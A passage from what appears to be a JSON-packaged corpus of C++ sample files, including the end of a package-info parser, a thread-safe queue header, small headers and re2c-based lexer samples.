\"directory\") {\n\t\t\t\tisDirectory = true;\n\t\t\t\tnextToken = parser._NextToken();\n\t\t\t}\n\n\t\t\tif (nextToken.type == TOKEN_STRING) {\n\t\t\t\tconst char* const* end = kWritableFileUpdateTypes\n\t\t\t\t\t+ B_WRITABLE_FILE_UPDATE_TYPE_ENUM_COUNT;\n\t\t\t\tconst char* const* found = std::find(kWritableFileUpdateTypes,\n\t\t\t\t\tend, nextToken.text);\n\t\t\t\tif (found == end) {\n\t\t\t\t\tthrow ParseError(BString(\"expected an update type\"),\n\t\t\t\t\t\tnextToken.pos);\n\t\t\t\t}\n\t\t\t\tupdateType = (BWritableFileUpdateType)(\n\t\t\t\t\tfound - kWritableFileUpdateTypes);\n\t\t\t} else if (nextToken.type == TOKEN_ITEM_SEPARATOR\n\t\t\t\t|| nextToken.type == TOKEN_CLOSE_BRACE) {\n\t\t\t\tparser._RewindTo(nextToken);\n\t\t\t} else {\n\t\t\t\tthrow ParseError(\n\t\t\t\t\t\"expected 'included', semicolon, new line or '}'\",\n\t\t\t\t\tnextToken.pos);\n\t\t\t}\n\n\t\t\tif (!infos->AddItem(new BGlobalWritableFileInfo(token.text,\n\t\t\t\t\tupdateType, isDirectory))) {\n\t\t\t\tthrow std::bad_alloc();\n\t\t\t}\n\t\t}\n\t} resolvableExpressionParser(*this, infos);\n\n\t_ParseList(resolvableExpressionParser, false);\n}\n\n\nvoid\nBPackageInfo::Parser::_ParseUserSettingsFileInfos(\n\tUserSettingsFileInfoList* infos)\n{\n\tstruct UserSettingsFileInfoParser : public ListElementParser {\n\t\tParser& parser;\n\t\tUserSettingsFileInfoList* infos;\n\n\t\tUserSettingsFileInfoParser(Parser& parser,\n\t\t\tUserSettingsFileInfoList* infos)\n\t\t\t:\n\t\t\tparser(parser),\n\t\t\tinfos(infos)\n\t\t{\n\t\t}\n\n\t\tvirtual void operator()(const Token& token)\n\t\t{\n\t\t\tif (token.type != TOKEN_STRING) {\n\t\t\t\tthrow ParseError(\"expected string (a settings file path)\",\n\t\t\t\t\ttoken.pos);\n\t\t\t}\n\n\t\t\tBString templatePath;\n\t\t\tbool isDirectory = false;\n\n\t\t\tToken nextToken = parser._NextToken();\n\t\t\tif (nextToken.type == TOKEN_STRING\n\t\t\t\t&& nextToken.text == \"directory\") {\n\t\t\t\tisDirectory = true;\n\t\t\t} else if (nextToken.type == TOKEN_STRING\n\t\t\t\t&& nextToken.text == \"template\") {\n\t\t\t\tnextToken = parser._NextToken();\n\t\t\t\tif (nextToken.type != TOKEN_STRING) {\n\t\t\t\t\tthrow ParseError(\n\t\t\t\t\t\t\"expected string (a settings template file path)\",\n\t\t\t\t\t\tnextToken.pos);\n\t\t\t\t}\n\t\t\t\ttemplatePath = nextToken.text;\n\t\t\t} else if (nextToken.type == TOKEN_ITEM_SEPARATOR\n\t\t\t\t|| nextToken.type == TOKEN_CLOSE_BRACE) {\n\t\t\t\tparser._RewindTo(nextToken);\n\t\t\t} else {\n\t\t\t\tthrow ParseError(\n\t\t\t\t\t\"expected 'template', semicolon, new line or '}'\",\n\t\t\t\t\tnextToken.pos);\n\t\t\t}\n\n\t\t\tif (isDirectory\n\t\t\t\t? !infos->AddItem(new BUserSettingsFileInfo(token.text, true))\n\t\t\t\t: !infos->AddItem(new BUserSettingsFileInfo(token.text,\n\t\t\t\t\t\ttemplatePath))) {\n\t\t\t\tthrow std::bad_alloc();\n\t\t\t}\n\t\t}\n\t} resolvableExpressionParser(*this, infos);\n\n\t_ParseList(resolvableExpressionParser, false);\n}\n\n\nvoid\nBPackageInfo::Parser::_ParseUsers(UserList* users)\n{\n\tstruct UserParser : public ListElementParser {\n\t\tParser& parser;\n\t\tUserList* users;\n\n\t\tUserParser(Parser& parser, UserList* users)\n\t\t\t:\n\t\t\tparser(parser),\n\t\t\tusers(users)\n\t\t{\n\t\t}\n\n\t\tvirtual void operator()(const Token& token)\n\t\t{\n\t\t\tif (token.type != TOKEN_STRING\n\t\t\t\t|| !BUser::IsValidUserName(token.text)) {\n\t\t\t\tthrow ParseError(\"expected a user name\", token.pos);\n\t\t\t}\n\n\t\t\tBString realName;\n\t\t\tBString home;\n\t\t\tBString shell;\n\t\t\tBStringList groups;\n\n\t\t\tfor (;;) {\n\t\t\t\tToken nextToken = parser._NextToken();\n\t\t\t\tif (nextToken.type != TOKEN_STRING) {\n\t\t\t\t\tparser._RewindTo(nextToken);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif (nextToken.text == \"real-name\") {\n\t\t\t\t\tnextToken = parser._NextToken();\n\t\t\t\t\tif (nextToken.type != TOKEN_STRING) {\n\t\t\t\t\t\tthrow ParseError(\"expected string (a user real name)\",\n\t\t\t\t\t\t\tnextToken.pos);\n\t\t\t\t\t}\n\t\t\t\t\trealName = nextToken.text;\n\t\t\t\t} else if (nextToken.text == \"home\") {\n\t\t\t\t\tnextToken = parser._NextToken();\n\t\t\t\t\tif (nextToken.type != TOKEN_STRING) {\n\t\t\t\t\t\tthrow ParseError(\"expected string (a home path)\",\n\t\t\t\t\t\t\tnextToken.pos);\n\t\t\t\t\t}\n\t\t\t\t\thome = nextToken.text;\n\t\t\t\t} else if (nextToken.text == \"shell\") {\n\t\t\t\t\tnextToken = parser._NextToken();\n\t\t\t\t\tif (nextToken.type != TOKEN_STRING) {\n\t\t\t\t\t\tthrow ParseError(\"expected string (a shell path)\",\n\t\t\t\t\t\t\tnextToken.pos);\n\t\t\t\t\t}\n\t\t\t\t\tshell = nextToken.text;\n\t\t\t\t} else if (nextToken.text == \"groups\") {\n\t\t\t\t\tfor (;;) {\n\t\t\t\t\t\tnextToken = parser._NextToken();\n\t\t\t\t\t\tif (nextToken.type == TOKEN_STRING\n\t\t\t\t\t\t\t&& BUser::IsValidUserName(nextToken.text)) {\n\t\t\t\t\t\t\tif (!groups.Add(nextToken.text))\n\t\t\t\t\t\t\t\tthrow std::bad_alloc();\n\t\t\t\t\t\t} else if (nextToken.type == TOKEN_ITEM_SEPARATOR\n\t\t\t\t\t\t\t|| nextToken.type == TOKEN_CLOSE_BRACE) {\n\t\t\t\t\t\t\tparser._RewindTo(nextToken);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tthrow ParseError(\"expected a group name\",\n\t\t\t\t\t\t\t\tnextToken.pos);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t} else {\n\t\t\t\t\tthrow ParseError(\n\t\t\t\t\t\t\"expected 'real-name', 'home', 'shell', or 'groups'\",\n\t\t\t\t\t\tnextToken.pos);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tBString templatePath;\n\n\t\t\tToken nextToken = parser._NextToken();\n\t\t\tif (nextToken.type == TOKEN_STRING\n\t\t\t\t&& nextToken.text == \"template\") {\n\t\t\t\tnextToken = parser._NextToken();\n\t\t\t\tif (nextToken.type != TOKEN_STRING) {\n\t\t\t\t\tthrow ParseError(\n\t\t\t\t\t\t\"expected string (a settings template file path)\",\n\t\t\t\t\t\tnextToken.pos);\n\t\t\t\t}\n\t\t\t\ttemplatePath = nextToken.text;\n\t\t\t} else if (nextToken.type == TOKEN_ITEM_SEPARATOR\n\t\t\t\t|| nextToken.type == TOKEN_CLOSE_BRACE) {\n\t\t\t\tparser._RewindTo(nextToken);\n\t\t\t} else {\n\t\t\t\tthrow ParseError(\n\t\t\t\t\t\"expected 'template', semicolon, new line or '}'\",\n\t\t\t\t\tnextToken.pos);\n\t\t\t}\n\n\t\t\tif (!users->AddItem(new BUser(token.text, realName, home, shell,\n\t\t\t\t\tgroups))) {\n\t\t\t\tthrow std::bad_alloc();\n\t\t\t}\n\t\t}\n\t} resolvableExpressionParser(*this, users);\n\n\t_ParseList(resolvableExpressionParser, false);\n}\n\n\nvoid\nBPackageInfo::Parser::_Parse(BPackageInfo* packageInfo)\n{\n\tbool seen[B_PACKAGE_INFO_ENUM_COUNT];\n\tfor (int i = 0; i < B_PACKAGE_INFO_ENUM_COUNT; ++i)\n\t\tseen[i] = false;\n\n\tconst char* const* names = BPackageInfo::kElementNames;\n\n\twhile (Token t = _NextToken()) {\n\t\tif (t.type == TOKEN_ITEM_SEPARATOR)\n\t\t\tcontinue;\n\n\t\tif (t.type != TOKEN_STRING)\n\t\t\tthrow ParseError(\"expected string (a variable name)\", t.pos);\n\n\t\tBPackageInfoAttributeID attribute = B_PACKAGE_INFO_ENUM_COUNT;\n\t\tfor (int i = 0; i < B_PACKAGE_INFO_ENUM_COUNT; i++) {\n\t\t\tif (names[i] != NULL && t.text.ICompare(names[i]) == 0) {\n\t\t\t\tattribute = (BPackageInfoAttributeID)i;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (attribute == B_PACKAGE_INFO_ENUM_COUNT) {\n\t\t\tBString error = BString(\"unknown attribute \\\"\") << t.text << '\"';\n\t\t\tthrow ParseError(error, t.pos);\n\t\t}\n\n\t\tif (seen[attribute]) {\n\t\t\tBString error = BString(names[attribute]) << \" already seen!\";\n\t\t\tthrow ParseError(error, t.pos);\n\t\t}\n\n\t\tswitch (attribute) {\n\t\t\tcase B_PACKAGE_INFO_NAME:\n\t\t\t{\n\t\t\t\tBString name;\n\t\t\t\tconst char* namePos;\n\t\t\t\t_ParseStringValue(&name, &namePos);\n\n\t\t\t\tint32 errorPos;\n\t\t\t\tif (!_IsValidResolvableName(name, &errorPos)) {\n\t\t\t\t\tthrow ParseError(\"invalid character in package name\",\n\t\t\t\t\t\tnamePos + errorPos);\n\t\t\t\t}\n\n\t\t\t\tpackageInfo->SetName(name);\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tcase B_PACKAGE_INFO_SUMMARY:\n\t\t\t{\n\t\t\t\tBString summary;\n\t\t\t\t_ParseStringValue(&summary);\n\t\t\t\tif (summary.FindFirst('\\n') >= 0)\n\t\t\t\t\tthrow ParseError(\"the summary contains linebreaks\", t.pos);\n\t\t\t\tpackageInfo->SetSummary(summary);\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tcase B_PACKAGE_INFO_DESCRIPTION:\n\t\t\t\t_ParseStringValue(&packageInfo->fDescription);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_VENDOR:\n\t\t\t\t_ParseStringValue(&packageInfo->fVendor);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_PACKAGER:\n\t\t\t\t_ParseStringValue(&packageInfo->fPackager);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_BASE_PACKAGE:\n\t\t\t\t_ParseStringValue(&packageInfo->fBasePackage);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_ARCHITECTURE:\n\t\t\t\t_ParseArchitectureValue(&packageInfo->fArchitecture);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_VERSION:\n\t\t\t\t_ParseVersionValue(&packageInfo->fVersion, false);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_COPYRIGHTS:\n\t\t\t\t_ParseStringList(&packageInfo->fCopyrightList);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_LICENSES:\n\t\t\t\t_ParseStringList(&packageInfo->fLicenseList);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_URLS:\n\t\t\t{\n\t\t\t\tUrlStringValidator stringValidator;\n\t\t\t\t_ParseStringList(&packageInfo->fURLList,\n\t\t\t\t\tfalse, false, &stringValidator);\n\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_SOURCE_URLS:\n\t\t\t{\n\t\t\t\tUrlStringValidator stringValidator;\n\t\t\t\t_ParseStringList(&packageInfo->fSourceURLList,\n\t\t\t\t\tfalse, false, &stringValidator);\n\t\t\t}\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_GLOBAL_WRITABLE_FILES:\n\t\t\t\t_ParseGlobalWritableFileInfos(\n\t\t\t\t\t&packageInfo->fGlobalWritableFileInfos);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_USER_SETTINGS_FILES:\n\t\t\t\t_ParseUserSettingsFileInfos(\n\t\t\t\t\t&packageInfo->fUserSettingsFileInfos);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_USERS:\n\t\t\t\t_ParseUsers(&packageInfo->fUsers);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_GROUPS:\n\t\t\t\t_ParseStringList(&packageInfo->fGroups);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_POST_INSTALL_SCRIPTS:\n\t\t\t\t_ParseStringList(&packageInfo->fPostInstallScripts);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_PROVIDES:\n\t\t\t\t_ParseResolvableList(&packageInfo->fProvidesList);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_REQUIRES:\n\t\t\t\tpackageInfo->fBasePackage.Truncate(0);\n\t\t\t\t_ParseResolvableExprList(&packageInfo->fRequiresList,\n\t\t\t\t\t&packageInfo->fBasePackage);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_SUPPLEMENTS:\n\t\t\t\t_ParseResolvableExprList(&packageInfo->fSupplementsList);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_CONFLICTS:\n\t\t\t\t_ParseResolvableExprList(&packageInfo->fConflictsList);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_FRESHENS:\n\t\t\t\t_ParseResolvableExprList(&packageInfo->fFreshensList);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_REPLACES:\n\t\t\t\t_ParseStringList(&packageInfo->fReplacesList, true);\n\t\t\t\tbreak;\n\n\t\t\tcase B_PACKAGE_INFO_FLAGS:\n\t\t\t\tpackageInfo->SetFlags(_ParseFlags());\n\t\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t\t\t// can never get here\n\t\t\t\tbreak;\n\t\t}\n\n\t\tseen[attribute] = true;\n\t}\n\n\t// everything up to and including 'provides' is mandatory\n\tfor (int i = 0; i <= B_PACKAGE_INFO_PROVIDES; ++i) {\n\t\tif (!seen[i]) {\n\t\t\tBString error = BString(names[i]) << \" is not being set anywhere!\";\n\t\t\tthrow ParseError(error, fPos);\n\t\t}\n\t}\n}\n\n\n/*static*/ inline bool\nBPackageInfo::Parser::_IsAlphaNumUnderscore(const BString& string,\n\tconst char* additionalChars, int32* _errorPos)\n{\n\treturn _IsAlphaNumUnderscore(string.String(),\n\t\tstring.String() + string.Length(), additionalChars, _errorPos);\n}\n\n\n/*static*/ inline bool\nBPackageInfo::Parser::_IsAlphaNumUnderscore(const char* string,\n\tconst char* additionalChars, int32* _errorPos)\n{\n\treturn _IsAlphaNumUnderscore(string, string + strlen(string),\n\t\tadditionalChars, _errorPos);\n}\n\n\n/*static*/ bool\nBPackageInfo::Parser::_IsAlphaNumUnderscore(const char* start, const char* end,\n\tconst char* additionalChars, int32* _errorPos)\n{\n\tfor (const char* c = start; c < end; c++) {\n\t\tif (!isalnum(*c) && *c != '_' && strchr(additionalChars, *c) == NULL) {\n\t\t\tif (_errorPos != NULL)\n\t\t\t\t*_errorPos = c - start;\n\t\t\treturn false;\n\t\t}\n\t}\n\n\treturn true;\n}\n\n\n/*static*/ bool\nBPackageInfo::Parser::_IsValidResolvableName(const char* string,\n\tint32* _errorPos)\n{\n\tfor (const char* c = string; *c != '\\0'; c++) {\n\t\tswitch (*c) {\n\t\t\tcase '-':\n\t\t\tcase '/':\n\t\t\tcase '<':\n\t\t\tcase '>':\n\t\t\tcase '=':\n\t\t\tcase '!':\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\tif (!isspace(*c))\n\t\t\t\t\tcontinue;\n\t\t\t\tbreak;\n\t\t}\n\n\t\tif (_errorPos != NULL)\n\t\t\t*_errorPos = c - string;\n\t\treturn false;\n\t}\n\treturn true;\n}\n\nvoid\nBPackageInfo::Parser::UrlStringValidator::Validate(const BString& urlString,\n\tconst char* pos)\n{\n\tBUrl url(urlString);\n\n\tif (!url.IsValid())\n\t\tthrow ParseError(\"invalid url\", pos);\n}\n\n\n} // namespace BPackageKit\n"
  },
  {
    "path": "samples/C++/ThreadedQueue.h",
    "content": "/*\n * This file is part of IRCBot\n * Copyright © 2014 Rachel Mant (dx-mon@users.sourceforge.net)\n *\n * IRCBot is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * IRCBot is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\n#ifndef __THREADED_QUEUE_H__\n#define __THREADED_QUEUE_H__\n\n#include <pthread.h>\n#include <queue>\n\ntemplate<class T>\nclass ThreadedQueue : public std::queue<T>\n{\nprivate:\n\tpthread_mutex_t queueMutex;\n\tpthread_cond_t queueCond;\n\npublic:\n\tThreadedQueue()\n\t{\n\t\tpthread_mutexattr_t mutexAttrs;\n\t\tpthread_condattr_t condAttrs;\n\n\t\tpthread_mutexattr_init(&mutexAttrs);\n\t\tpthread_mutexattr_settype(&mutexAttrs, PTHREAD_MUTEX_ERRORCHECK);\n\t\tpthread_mutex_init(&queueMutex, &mutexAttrs);\n\t\tpthread_mutexattr_destroy(&mutexAttrs);\n\n\t\tpthread_condattr_init(&condAttrs);\n\t\tpthread_condattr_setpshared(&condAttrs, PTHREAD_PROCESS_PRIVATE);\n\t\tpthread_cond_init(&queueCond, &condAttrs);\n\t\tpthread_condattr_destroy(&condAttrs);\n\t}\n\n\t~ThreadedQueue()\n\t{\n\t\tpthread_cond_destroy(&queueCond);\n\t\tpthread_mutex_destroy(&queueMutex);\n\t}\n\n\tvoid waitItems()\n\t{\n\t\tpthread_mutex_lock(&queueMutex);\n\t\tpthread_cond_wait(&queueCond, &queueMutex);\n\t\tpthread_mutex_unlock(&queueMutex);\n\t}\n\n\tvoid signalItems()\n\t{\n\t\tpthread_mutex_lock(&queueMutex);\n\t\tpthread_cond_broadcast(&queueCond);\n\t\tpthread_mutex_unlock(&queueMutex);\n\t}\n\n\tvoid push(T item)\n\t{\n\t\tstd::queue<T>::push(item);\n\t\tsignalItems();\n\t}\n};\n\n#endif /*__THREADED_QUEUE_H__*/\n"
  },
  {
    "path": "samples/C++/Types.h",
    "content": "/*****************************************************************************\n* Dwarf Mine - The 13-11 Benchmark\n*\n* Copyright (c) 2013 Bünger, Thomas; Kieschnick, Christian; Kusber,\n* Michael; Lohse, Henning; Wuttke, Nikolai; Xylander, Oliver; Yao, Gary;\n* Zimmermann, Florian\n*\n* Permission is hereby granted, free of charge, to any person obtaining\n* a copy of this software and associated documentation files (the\n* \"Software\"), to deal in the Software without restriction, including\n* without limitation the rights to use, copy, modify, merge, publish,\n* distribute, sublicense, and/or sell copies of the Software, and to\n* permit persons to whom the Software is furnished to do so, subject to\n* the following conditions:\n*\n* The above copyright notice and this permission notice shall be\n* included in all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*****************************************************************************/\n\n#pragma once\n\n#include <cstdint>\n\ntypedef uint32_t smallPrime_t;\n"
  },
  {
    "path": "samples/C++/bar.h",
    "content": "class Bar\n{\n  protected:\n\n    char *name;\n\n  public:\n\n    void hello();\n}\n"
  },
  {
    "path": "samples/C++/bar.hh",
    "content": "class Bar\n{\n  protected:\n\n    char *name;\n\n  public:\n\n    void hello();\n}\n"
  },
  {
    "path": "samples/C++/bar.hpp",
    "content": "class Bar\n{\n  protected:\n\n    char *name;\n\n  public:\n\n    void hello();\n}\n"
  },
  {
    "path": "samples/C++/bug1163046.--skeleton.re",
    "content": "#include <iostream>\n\n#define YYCTYPE unsigned char\n#define YYCURSOR cursor\n#define YYLIMIT cursor\n#define YYMARKER marker\n#define YYFILL(n)\n\nbool scan(const char *text)\n{\n\tYYCTYPE *start = (YYCTYPE *)text;\n\tYYCTYPE *cursor = (YYCTYPE *)text;\n\tYYCTYPE *marker = (YYCTYPE *)text;\nnext:\n\tYYCTYPE *token = cursor;\n/*!re2c\n'(This file must be converted with BinHex 4.0)'\n\t{\n\t\tif (token == start || *(token - 1) == '\\n')\n\t\treturn true; else goto next;\n\t}\n[\\001-\\377]\n\t{ goto next; }\n[\\000]\n\t{ return false; }\n*/\n\treturn false;\n}\n\n#define do_scan(str, expect) \\\n\tres = scan(str) == expect ? 0 : 1; \\\n\tstd::cerr << str << \"\\t-\\t\" << (res ? \"fail\" : \"ok\") << std::endl; \\\n\tresult += res\n\n/*!max:re2c */\n\nint main(int,void**)\n{\n\tint res, result = 0;\n\tdo_scan(\"(This file must be converted with BinHex 4.0)\", 1);\n\tdo_scan(\"x(This file must be converted with BinHex 4.0)\", 0);\n\tdo_scan(\"(This file must be converted with BinHex 4.0)x\", 1);\n\tdo_scan(\"x(This file must be converted with BinHex 4.0)x\", 0);\n\t\n\treturn result;\n}\n"
  },
  {
    "path": "samples/C++/cnokw.re",
    "content": "#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\n#define\tADDEQ\t257\n#define\tANDAND\t258\n#define\tANDEQ\t259\n#define\tARRAY\t260\n#define\tASM\t261\n#define\tAUTO\t262\n#define\tBREAK\t263\n#define\tCASE\t264\n#define\tCHAR\t265\n#define\tCONST\t266\n#define\tCONTINUE\t267\n#define\tDECR\t268\n#define\tDEFAULT\t269\n#define\tDEREF\t270\n#define\tDIVEQ\t271\n#define\tDO\t272\n#define\tDOUBLE\t273\n#define\tELLIPSIS\t274\n#define\tELSE\t275\n#define\tENUM\t276\n#define\tEQL\t277\n#define\tEXTERN\t278\n#define\tFCON\t279\n#define\tFLOAT\t280\n#define\tFOR\t281\n#define\tFUNCTION\t282\n#define\tGEQ\t283\n#define\tGOTO\t284\n#define\tICON\t285\n#define\tID\t286\n#define\tIF\t287\n#define\tINCR\t288\n#define\tINT\t289\n#define\tLEQ\t290\n#define\tLONG\t291\n#define\tLSHIFT\t292\n#define\tLSHIFTEQ\t293\n#define\tMODEQ\t294\n#define\tMULEQ\t295\n#define\tNEQ\t296\n#define\tOREQ\t297\n#define\tOROR\t298\n#define\tPOINTER\t299\n#define\tREGISTER\t300\n#define\tRETURN\t301\n#define\tRSHIFT\t302\n#define\tRSHIFTEQ\t303\n#define\tSCON\t304\n#define\tSHORT\t305\n#define\tSIGNED\t306\n#define\tSIZEOF\t307\n#define\tSTATIC\t308\n#define\tSTRUCT\t309\n#define\tSUBEQ\t310\n#define\tSWITCH\t311\n#define\tTYPEDEF\t312\n#define\tUNION\t313\n#define\tUNSIGNED\t314\n#define\tVOID\t315\n#define\tVOLATILE\t316\n#define\tWHILE\t317\n#define\tXOREQ\t318\n#define\tEOI\t319\n\ntypedef unsigned int uint;\ntypedef unsigned char uchar;\n\n#define\tBSIZE\t8192\n\n#define\tYYCTYPE\t\tuchar\n#define\tYYCURSOR\tcursor\n#define\tYYLIMIT\t\ts->lim\n#define\tYYMARKER\ts->ptr\n#define\tYYFILL(n)\t{cursor = fill(s, cursor);}\n\n#define\tRET(i)\t{s->cur = cursor; return i;}\n\ntypedef struct Scanner {\n    int\t\t\tfd;\n    uchar\t\t*bot, *tok, *ptr, *cur, *pos, *lim, *top, *eof;\n    uint\t\tline;\n} Scanner;\n\nuchar *fill(Scanner *s, uchar *cursor){\n    if(!s->eof){\n\tuint cnt = s->tok - s->bot;\n\tif(cnt){\n\t    memcpy(s->bot, s->tok, s->lim - s->tok);\n\t    s->tok = s->bot;\n\t    s->ptr -= cnt;\n\t    cursor -= cnt;\n\t    s->pos -= cnt;\n\t    s->lim -= cnt;\n\t}\n\tif((s->top - s->lim) < BSIZE){\n\t    uchar *buf = (uchar*) malloc(((s->lim - s->bot) + BSIZE)*sizeof(uchar));\n\t    memcpy(buf, s->tok, s->lim - s->tok);\n\t    s->tok = buf;\n\t    s->ptr = &buf[s->ptr - s->bot];\n\t    cursor = &buf[cursor - s->bot];\n\t    s->pos = &buf[s->pos - s->bot];\n\t    s->lim = &buf[s->lim - s->bot];\n\t    s->top = &s->lim[BSIZE];\n\t    free(s->bot);\n\t    s->bot = buf;\n\t}\n\tif((cnt = read(s->fd, (char*) s->lim, BSIZE)) != BSIZE){\n\t    s->eof = &s->lim[cnt]; *(s->eof)++ = '\\n';\n\t}\n\ts->lim += cnt;\n    }\n    return cursor;\n}\n\nint scan(Scanner *s){\n\tuchar *cursor = s->cur;\nstd:\n\ts->tok = cursor;\n/*!re2c\nany\t= [\\000-\\377];\nO\t= [0-7];\nD\t= [0-9];\nL\t= [a-zA-Z_];\nH\t= [a-fA-F0-9];\nE\t= [Ee] [+-]? D+;\nFS\t= [fFlL];\nIS\t= [uUlL]*;\nESC\t= [\\\\] ([abfnrtv?'\"\\\\] | \"x\" H+ | O+);\n*/\n\n/*!re2c\n\t\"/*\"\t\t\t{ goto comment; }\n\t\n\tL (L|D)*\t\t{ RET(ID); }\n\t\n\t(\"0\" [xX] H+ IS?) | (\"0\" D+ IS?) | (D+ IS?) |\n\t(['] (ESC|any\\[\\n\\\\'])* ['])\n\t\t\t\t{ RET(ICON); }\n\t\n\t(D+ E FS?) | (D* \".\" D+ E? FS?) | (D+ \".\" D* E? FS?)\n\t\t\t\t{ RET(FCON); }\n\t\n\t([\"] (ESC|any\\[\\n\\\\\"])* [\"])\n\t\t\t\t{ RET(SCON); }\n\t\n\t\"...\"                   { RET(ELLIPSIS); }\n\t\">>=\"\t\t\t{ RET(RSHIFTEQ); }\n\t\"<<=\"\t\t\t{ RET(LSHIFTEQ); }\n\t\"+=\"\t\t\t{ RET(ADDEQ); }\n\t\"-=\"\t\t\t{ RET(SUBEQ); }\n\t\"*=\"\t\t\t{ RET(MULEQ); }\n\t\"/=\"\t\t\t{ RET(DIVEQ); }\n\t\"%=\"\t\t\t{ RET(MODEQ); }\n\t\"&=\"\t\t\t{ RET(ANDEQ); }\n\t\"^=\"\t\t\t{ RET(XOREQ); }\n\t\"|=\"\t\t\t{ RET(OREQ); }\n\t\">>\"\t\t\t{ RET(RSHIFT); }\n\t\"<<\"\t\t\t{ RET(LSHIFT); }\n\t\"++\"\t\t\t{ RET(INCR); }\n\t\"--\"\t\t\t{ RET(DECR); }\n\t\"->\"\t\t\t{ RET(DEREF); }\n\t\"&&\"\t\t\t{ RET(ANDAND); }\n\t\"||\"\t\t\t{ RET(OROR); }\n\t\"<=\"\t\t\t{ RET(LEQ); }\n\t\">=\"\t\t\t{ RET(GEQ); }\n\t\"==\"\t\t\t{ RET(EQL); }\n\t\"!=\"\t\t\t{ RET(NEQ); }\n\t\";\"\t\t\t{ RET(';'); }\n\t\"{\"\t\t\t{ RET('{'); }\n\t\"}\"\t\t\t{ RET('}'); }\n\t\",\"\t\t\t{ RET(','); }\n\t\":\"\t\t\t{ RET(':'); }\n\t\"=\"\t\t\t{ RET('='); }\n\t\"(\"\t\t\t{ RET('('); }\n\t\")\"\t\t\t{ RET(')'); }\n\t\"[\"\t\t\t{ RET('['); }\n\t\"]\"\t\t\t{ RET(']'); }\n\t\".\"\t\t\t{ RET('.'); }\n\t\"&\"\t\t\t{ RET('&'); }\n\t\"!\"\t\t\t{ RET('!'); }\n\t\"~\"\t\t\t{ RET('~'); }\n\t\"-\"\t\t\t{ RET('-'); }\n\t\"+\"\t\t\t{ RET('+'); }\n\t\"*\"\t\t\t{ RET('*'); }\n\t\"/\"\t\t\t{ RET('/'); }\n\t\"%\"\t\t\t{ RET('%'); }\n\t\"<\"\t\t\t{ RET('<'); }\n\t\">\"\t\t\t{ RET('>'); }\n\t\"^\"\t\t\t{ RET('^'); }\n\t\"|\"\t\t\t{ RET('|'); }\n\t\"?\"\t\t\t{ RET('?'); }\n\n\n\t[ \\t\\v\\f]+\t\t{ goto std; }\n\n\t\"\\n\"\n\t    {\n\t\tif(cursor == s->eof) RET(EOI);\n\t\ts->pos = cursor; s->line++;\n\t\tgoto std;\n\t    }\n\n\tany\n\t    {\n\t\tprintf(\"unexpected character: %c\\n\", *s->tok);\n\t\tgoto std;\n\t    }\n*/\n\ncomment:\n/*!re2c\n\t\"*/\"\t\t\t{ goto std; }\n\t\"\\n\"\n\t    {\n\t\tif(cursor == s->eof) RET(EOI);\n\t\ts->tok = s->pos = cursor; s->line++;\n\t\tgoto comment;\n\t    }\n        any\t\t\t{ goto comment; }\n*/\n}\n\nmain(){\n    Scanner in;\n    int t;\n    memset((char*) &in, 0, sizeof(in));\n    in.fd = 0;\n    while((t = scan(&in)) != EOI){\n/*\n\tprintf(\"%d\\t%.*s\\n\", t, in.cur - in.tok, in.tok);\n\tprintf(\"%d\\n\", t);\n*/\n    }\n    close(in.fd);\n}\n"
  },
  {
